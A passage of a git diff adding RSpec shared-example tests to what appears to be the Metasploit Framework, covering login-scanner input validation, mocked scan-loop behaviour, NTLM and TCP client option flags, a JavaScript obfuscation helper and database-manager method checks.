pub_blank, pub_pub, pub_pri] + } + + it { should respond_to :connection_timeout } + it { should respond_to :cred_details } + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :proxies } + it { should respond_to :stop_on_success } + + context 'validations' do + context 'port' do + + it 'is not valid for a non-number' do + login_scanner.port = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.port = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.port = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.port = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be greater than or equal to 1" + end + + it 'is not valid for a number greater than 65535' do + login_scanner.port = 65536 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be less than or equal to 65535" + end + + it 'is valid for a legitimate port number' do + login_scanner.port = rand(65534) + 1 + expect(login_scanner.errors[:port]).to be_empty + end + end + + context 'host' do + + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "can't be blank" + end + + it 'is not valid for a non-string input' do + login_scanner.host = 5 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "must be a string" + end + + it 'is not valid for an improper IP address' do + login_scanner.host = '192.168.1.1.5' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for an incomplete IP address' do + login_scanner.host = '192.168' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for an invalid IP address' do + login_scanner.host = '192.300.675.123' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for DNS name that cannot be resolved' do + login_scanner.host = 'nosuchplace.metasploit.com' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is valid for a valid IP address' do + login_scanner.host = '127.0.0.1' + expect(login_scanner.errors[:host]).to be_empty + end + + it 'is valid for a DNS name it can resolve' do + login_scanner.host = 'localhost' + expect(login_scanner.errors[:host]).to be_empty + end + end + + context 'cred_details' do + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:cred_details]).to include "can't be blank" + end + + it 'is not valid for a non-array input' do + login_scanner.cred_details = rand(10) + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:cred_details]).to include "must respond to :each" + end + + end + + context 'connection_timeout' do + + it 'is not valid for a non-number' do + login_scanner.connection_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.connection_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.connection_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.connection_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:connection_timeout]).to be_empty + end + end + + context 'stop_on_success' do + + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is not valid for the string true' do + login_scanner.stop_on_success = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.stop_on_success = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.stop_on_success = true + expect(login_scanner.errors[:stop_on_success]).to be_empty + end + + it 'is valid for false class' do + login_scanner.stop_on_success = false + expect(login_scanner.errors[:stop_on_success]).to be_empty + end + end + + context '#valid!' do + it 'raises a Metasploit::Framework::LoginScanner::Invalid when validations fail' do + expect{login_scanner.valid!}.to raise_error Metasploit::Framework::LoginScanner::Invalid + end + end + end + + context '#scan!' do + let(:success) { + ::Metasploit::Framework::LoginScanner::Result.new( + credential: pub_pub, + proof: '', + status: Metasploit::Model::Login::Status::SUCCESSFUL + ) + } + + let(:failure_blank) { + ::Metasploit::Framework::LoginScanner::Result.new( + credential: pub_blank, + proof: nil, + status: Metasploit::Model::Login::Status::INCORRECT + ) + } + + before(:each) do + login_scanner.host = '127.0.0.1' + login_scanner.port = 22 + login_scanner.connection_timeout = 30 + login_scanner.stop_on_success = false + login_scanner.cred_details = detail_group + end + + it 'calls valid! before running' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).at_least(:once).and_return success + my_scanner.scan! + end + + it 'should stop trying a user after success' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + my_scanner.should_not_receive(:attempt_login) + my_scanner.scan! + end + + it 'call attempt_login once for each cred_detail' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pri).and_return failure_blank + my_scanner.scan! + end + + context 'when stop_on_success is true' do + before(:each) do + login_scanner.host = '127.0.0.1' + login_scanner.port = 22 + login_scanner.connection_timeout = 30 + login_scanner.stop_on_success = true + login_scanner.cred_details = detail_group + end + + it 'stops after the first successful login' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + my_scanner.should_not_receive(:attempt_login).with(pub_pri) + my_scanner.scan! + end + end + + end + + context '#each_credential' do + + if opts[:has_realm_key] + context 'when the login_scanner has a REALM_KEY' do + context 'when the credential has a realm' do + before(:each) do + login_scanner.cred_details = [ad_cred] + end + it 'set the realm_key on the credential to that of the scanner' do + output_cred = ad_cred.dup + output_cred.realm_key = described_class::REALM_KEY + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(output_cred) + end + end + + if opts[:has_default_realm] + context 'when the credential has no realm' do + before(:each) do + login_scanner.cred_details = [pub_pri] + end + it 'uses the default realm' do + output_cred = pub_pri.dup + output_cred.realm = described_class::DEFAULT_REALM + output_cred.realm_key = described_class::REALM_KEY + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(output_cred) + end + end + end + + end + else + context 'when login_scanner has no REALM_KEY' do + context 'when the credential has a realm' do + before(:each) do + login_scanner.cred_details = [ad_cred] + end + it 'yields the original credential as well as one with the realm in the public' do + first_cred = ad_cred.dup + first_cred.realm = nil + first_cred.realm_key = nil + second_cred = first_cred.dup + second_cred.public = "#{realm}\\#{public}" + expect{ |b| login_scanner.each_credential(&b)}.to yield_successive_args(ad_cred,second_cred) + end + end + + context 'when the credential does not have a realm' do + before(:each) do + login_scanner.cred_details = [pub_pri] + end + it 'simply yields the original credential' do + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(pub_pri) + end + end + end + end + + + + end + +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..e2e88cf173 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,160 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::NTLM' do + + subject(:login_scanner) { described_class.new } + + it { should respond_to :send_lm } + it { should respond_to :send_ntlm } + it { should respond_to :send_spn } + it { should respond_to :use_lmkey } + it { should respond_to :use_ntlm2_session } + it { should respond_to :use_ntlmv2 } + + context 'validations' do + + context '#send_lm' do + it 'is not valid for the string true' do + login_scanner.send_lm = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_lm]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_lm = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_lm]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_lm = true + expect(login_scanner.errors[:send_lm]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_lm = false + expect(login_scanner.errors[:send_lm]).to be_empty + end + end + + context '#send_ntlm' do + it 'is not valid for the string true' do + login_scanner.send_ntlm = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_ntlm]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_ntlm = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_ntlm]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_ntlm = true + expect(login_scanner.errors[:send_ntlm]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_ntlm = false + expect(login_scanner.errors[:send_ntlm]).to be_empty + end + end + + context '#send_spn' do + it 'is not valid for the string true' do + login_scanner.send_spn = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_spn]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_spn = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_spn]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_spn = true + expect(login_scanner.errors[:send_spn]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_spn = false + expect(login_scanner.errors[:send_spn]).to be_empty + end + end + + context '#use_lmkey' do + it 'is not valid for the string true' do + login_scanner.use_lmkey = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_lmkey]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_lmkey = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_lmkey]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_lmkey = true + expect(login_scanner.errors[:use_lmkey]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_lmkey = false + expect(login_scanner.errors[:use_lmkey]).to be_empty + end + end + + context '#use_ntlm2_session' do + it 'is not valid for the string true' do + login_scanner.use_ntlm2_session = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlm2_session]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_ntlm2_session = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlm2_session]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_ntlm2_session = true + expect(login_scanner.errors[:use_ntlm2_session]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_ntlm2_session = false + expect(login_scanner.errors[:use_ntlm2_session]).to be_empty + end + end + + context '#use_ntlmv2' do + it 'is not valid for the string true' do + login_scanner.use_ntlmv2 = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlmv2]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_ntlmv2 = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlmv2]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_ntlmv2 = true + expect(login_scanner.errors[:use_ntlmv2]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_ntlmv2 = false + expect(login_scanner.errors[:use_ntlmv2]).to be_empty + end + end + + end + +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..f3f958664a --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::RexSocket' do + subject(:login_scanner) { described_class.new } + + it { should respond_to :ssl } + it { should respond_to :ssl_version } + +end diff --git a/spec/support/shared/examples/metasploit/framework/tcp/client.rb b/spec/support/shared/examples/metasploit/framework/tcp/client.rb new file mode 100644 index 0000000000..9264d39643 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/tcp/client.rb @@ -0,0 +1,58 @@ + +shared_examples_for 'Metasploit::Framework::Tcp::Client' do + subject(:login_scanner) { described_class.new } + + it { should respond_to :send_delay } + it { should respond_to :max_send_size } + + context 'send_delay' do + it 'is not valid for a non-number' do + login_scanner.send_delay = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.send_delay = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.send_delay = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "must be greater than or equal to 0" + end + + it 'is valid for a legitimate number' do + login_scanner.send_delay = rand(1000) + 1 + expect(login_scanner.errors[:send_delay]).to be_empty + end + end + + context 'max_send_size' do + it 'is not valid for a non-number' do + login_scanner.max_send_size = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.max_send_size = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.max_send_size = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "must be greater than or equal to 0" + end + + it 'is valid for a legitimate number' do + login_scanner.max_send_size = rand(1000) + 1 + expect(login_scanner.errors[:max_send_size]).to be_empty + end + end + +end diff --git a/spec/support/shared/examples/msf/core/exploit/jsobfu.rb b/spec/support/shared/examples/msf/core/exploit/jsobfu.rb new file mode 100644 index 0000000000..8d3e7dae4a --- /dev/null +++ b/spec/support/shared/examples/msf/core/exploit/jsobfu.rb @@ -0,0 +1,62 @@ +require 'spec_helper' +require 'msf/core' +require 'msf/core/exploit/jsobfu' + + +shared_examples_for 'Msf::Exploit::JSObfu' do + + subject(:jsobfu) do + mod = ::Msf::Module.new + mod.extend described_class + mod + end + + let (:js) do + %Q|alert("hello, world");| + end + + let(:default_jsobfuscate) do + 0 + end + + before do + subject.datastore['JsObfuscate'] = default_jsobfuscate + end + + context 'when iteration is set' do + it 'returns a ::Rex::Exploitation::JSObfu object' do + opts = {:iterations=>0} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu) + end + + it 'does not obfuscate if iteration is 0' do + opts = {:iterations=>0} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).to include js + end + + it 'obfuscates if iteration is 1' do + opts = {:iterations=>1} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).not_to include js + end + end + + context 'when iteration is nil' do + let (:opts) do + {:iterations=>nil} + end + + it 'returns a ::Rex::Exploitation::JSObfu object' do + obj = jsobfu.js_obfuscate(js, opts) + expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu) + end + + it 'does not obfuscate' do + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).to include(js) + end + end + +end diff --git a/spec/support/shared/examples/msf/db_manager/adapter.rb b/spec/support/shared/examples/msf/db_manager/adapter.rb new file mode 100644 index 0000000000..1cc264f0aa --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/adapter.rb @@ -0,0 +1,16 @@ +shared_examples_for 'Msf::DBManager::Adapter' do + context 'CONSTANTS' do + context 'ADAPTER' do + subject(:adapter) { + described_class::ADAPTER + } + + it { is_expected.to eq('postgresql') } + end + end + + it { is_expected.to respond_to :driver } + it { is_expected.to respond_to :drivers } + it { is_expected.to respond_to :drivers= } + it { is_expected.to respond_to :initialize_adapter } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/client.rb b/spec/support/shared/examples/msf/db_manager/client.rb new file mode 100644 index 0000000000..d737c09c78 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/client.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Client' do + it { is_expected.to respond_to :find_or_create_client } + it { is_expected.to respond_to :get_client } + it { is_expected.to respond_to :report_client } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/connection.rb b/spec/support/shared/examples/msf/db_manager/connection.rb new file mode 100644 index 0000000000..144847df94 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/connection.rb @@ -0,0 +1,10 @@ +shared_examples_for 'Msf::DBManager::Connection' do + it { is_expected.to respond_to :active } + it { is_expected.to respond_to :after_establish_connection } + it { is_expected.to respond_to :connect } + it { is_expected.to respond_to :connection_established? } + it { is_expected.to respond_to :create_db } + it { is_expected.to respond_to :disconnect } + it { is_expected.to respond_to :usable } + it { is_expected.to respond_to :usable= } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/cred.rb b/spec/support/shared/examples/msf/db_manager/cred.rb new file mode 100644 index 0000000000..366c1edef8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/cred.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Cred' do + it { is_expected.to respond_to :creds } + it { is_expected.to respond_to :each_cred } + it { is_expected.to respond_to :find_or_create_cred } + it { is_expected.to respond_to :report_auth } + it { is_expected.to respond_to :report_auth_info } + it { is_expected.to respond_to :report_cred } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/event.rb b/spec/support/shared/examples/msf/db_manager/event.rb new file mode 100644 index 0000000000..861e963264 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/event.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Event' do + it { is_expected.to respond_to :events } + it { is_expected.to respond_to :report_event } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb new file mode 100644 index 0000000000..28eeeaacf8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::ExploitAttempt' do + it { is_expected.to respond_to :report_exploit } + it { is_expected.to respond_to :report_exploit_attempt } + it { is_expected.to respond_to :report_exploit_failure } + it { is_expected.to respond_to :report_exploit_success } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/exploited_host.rb b/spec/support/shared/examples/msf/db_manager/exploited_host.rb new file mode 100644 index 0000000000..4047daaf2e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/exploited_host.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::ExploitedHost' do + it { is_expected.to respond_to :each_exploited_host } + it { is_expected.to respond_to :exploited_hosts } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index 05e3f09697..e207827c6d 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -20,4 +20,4 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de child_node.content.should == attribute.to_s end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/host.rb b/spec/support/shared/examples/msf/db_manager/host.rb new file mode 100644 index 0000000000..7472148298 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/host.rb @@ -0,0 +1,11 @@ +shared_examples_for 'Msf::DBManager::Host' do + it { is_expected.to respond_to :del_host } + it { is_expected.to respond_to :each_host } + it { is_expected.to respond_to :find_or_create_host } + it { is_expected.to respond_to :get_host } + it { is_expected.to respond_to :has_host? } + it { is_expected.to respond_to :hosts } + it { is_expected.to respond_to :normalize_host } + it { is_expected.to respond_to :report_host } + it { is_expected.to respond_to :update_host_via_sysinfo } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/host_detail.rb b/spec/support/shared/examples/msf/db_manager/host_detail.rb new file mode 100644 index 0000000000..92c3d0529e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/host_detail.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::HostDetail' do + it { is_expected.to respond_to :report_host_details } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/host_tag.rb b/spec/support/shared/examples/msf/db_manager/host_tag.rb new file mode 100644 index 0000000000..547673cfb0 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/host_tag.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::HostTag' do + it { is_expected.to respond_to :report_host_tag } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import.rb b/spec/support/shared/examples/msf/db_manager/import.rb new file mode 100644 index 0000000000..9a1fd3f4f9 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import.rb @@ -0,0 +1,36 @@ +shared_examples_for 'Msf::DBManager::Import' do + it { is_expected.to respond_to :dehex } + it { is_expected.to respond_to :emit } + it { is_expected.to respond_to :import } + it { is_expected.to respond_to :import_file } + it { is_expected.to respond_to :import_filetype_detect } + it { is_expected.to respond_to :msf_import_timestamps } + it { is_expected.to respond_to :report_import_note } + it { is_expected.to respond_to :rexmlify } + it { is_expected.to respond_to :validate_import_file } + + it_should_behave_like 'Msf::DBManager::Import::Acunetix' + it_should_behave_like 'Msf::DBManager::Import::Amap' + it_should_behave_like 'Msf::DBManager::Import::Appscan' + it_should_behave_like 'Msf::DBManager::Import::Burp' + it_should_behave_like 'Msf::DBManager::Import::CI' + it_should_behave_like 'Msf::DBManager::Import::Foundstone' + it_should_behave_like 'Msf::DBManager::Import::FusionVM' + it_should_behave_like 'Msf::DBManager::Import::IP360' + it_should_behave_like 'Msf::DBManager::Import::IPList' + it_should_behave_like 'Msf::DBManager::Import::Libpcap' + it_should_behave_like 'Msf::DBManager::Import::MBSA' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework' + it_should_behave_like 'Msf::DBManager::Import::Nessus' + it_should_behave_like 'Msf::DBManager::Import::Netsparker' + it_should_behave_like 'Msf::DBManager::Import::Nexpose' + it_should_behave_like 'Msf::DBManager::Import::Nikto' + it_should_behave_like 'Msf::DBManager::Import::Nmap' + it_should_behave_like 'Msf::DBManager::Import::OpenVAS' + it_should_behave_like 'Msf::DBManager::Import::Outpost24' + it_should_behave_like 'Msf::DBManager::Import::Qualys' + it_should_behave_like 'Msf::DBManager::Import::Report' + it_should_behave_like 'Msf::DBManager::Import::Retina' + it_should_behave_like 'Msf::DBManager::Import::Spiceworks' + it_should_behave_like 'Msf::DBManager::Import::Wapiti' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/acunetix.rb b/spec/support/shared/examples/msf/db_manager/import/acunetix.rb new file mode 100644 index 0000000000..11fda62d68 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/acunetix.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Acunetix' do + it { is_expected.to respond_to :import_acunetix_noko_stream } + it { is_expected.to respond_to :import_acunetix_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/amap.rb b/spec/support/shared/examples/msf/db_manager/import/amap.rb new file mode 100644 index 0000000000..fba82ef898 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/amap.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Import::Amap' do + it { is_expected.to respond_to :import_amap_log } + it { is_expected.to respond_to :import_amap_log_file } + it { is_expected.to respond_to :import_amap_mlog } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/appscan.rb b/spec/support/shared/examples/msf/db_manager/import/appscan.rb new file mode 100644 index 0000000000..e95f95a9fe --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/appscan.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Appscan' do + it { is_expected.to respond_to :import_appscan_noko_stream } + it { is_expected.to respond_to :import_appscan_xml } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/burp.rb b/spec/support/shared/examples/msf/db_manager/import/burp.rb new file mode 100644 index 0000000000..33839490f1 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/burp.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Burp' do + it { is_expected.to respond_to :import_burp_session_noko_stream } + it { is_expected.to respond_to :import_burp_session_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ci.rb b/spec/support/shared/examples/msf/db_manager/import/ci.rb new file mode 100644 index 0000000000..810480c126 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ci.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::CI' do + it { is_expected.to respond_to :import_ci_noko_stream } + it { is_expected.to respond_to :import_ci_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/foundstone.rb b/spec/support/shared/examples/msf/db_manager/import/foundstone.rb new file mode 100644 index 0000000000..47c11d7ce4 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/foundstone.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::Foundstone' do + it { is_expected.to respond_to :import_foundstone_noko_stream } + it { is_expected.to respond_to :import_foundstone_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/fusion_vm.rb b/spec/support/shared/examples/msf/db_manager/import/fusion_vm.rb new file mode 100644 index 0000000000..6240582d12 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/fusion_vm.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::FusionVM' do + it { is_expected.to respond_to :import_fusionvm_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ip360.rb b/spec/support/shared/examples/msf/db_manager/import/ip360.rb new file mode 100644 index 0000000000..ffb4183ba6 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip360.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::IP360' do + it_should_behave_like 'Msf::DBManager::Import::IP360::ASPL' + it_should_behave_like 'Msf::DBManager::Import::IP360::V3' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import/ip360/aspl.rb b/spec/support/shared/examples/msf/db_manager/import/ip360/aspl.rb new file mode 100644 index 0000000000..0e7820628e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip360/aspl.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::Import::IP360::ASPL' do + it { is_expected.to respond_to :import_ip360_aspl_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ip360/v3.rb b/spec/support/shared/examples/msf/db_manager/import/ip360/v3.rb new file mode 100644 index 0000000000..78099457dd --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip360/v3.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::IP360::V3' do + it { is_expected.to respond_to :import_ip360_xml_file } + it { is_expected.to respond_to :import_ip360_xml_v3 } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/ip_list.rb b/spec/support/shared/examples/msf/db_manager/import/ip_list.rb new file mode 100644 index 0000000000..6404a601a9 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/ip_list.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::IPList' do + it { is_expected.to respond_to :import_ip_list } + it { is_expected.to respond_to :import_ip_list_file } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/libpcap.rb b/spec/support/shared/examples/msf/db_manager/import/libpcap.rb new file mode 100644 index 0000000000..941e42646c --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/libpcap.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Import::Libpcap' do + it { is_expected.to respond_to :import_libpcap } + it { is_expected.to respond_to :import_libpcap_file } + it { is_expected.to respond_to :inspect_single_packet } + it { is_expected.to respond_to :inspect_single_packet_http } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/mbsa.rb b/spec/support/shared/examples/msf/db_manager/import/mbsa.rb new file mode 100644 index 0000000000..ea77799037 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/mbsa.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Import::MBSA' do + it { is_expected.to respond_to :import_mbsa_noko_stream } + it { is_expected.to respond_to :import_mbsa_xml } +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework.rb new file mode 100644 index 0000000000..3b6362dfec --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Import::MetasploitFramework' do + it { is_expected.to respond_to :nils_for_nulls } + it { is_expected.to respond_to :unserialize_object } + + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::Credential' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::XML' + it_should_behave_like 'Msf::DBManager::Import::MetasploitFramework::Zip' +end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/credential.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/credential.rb new file 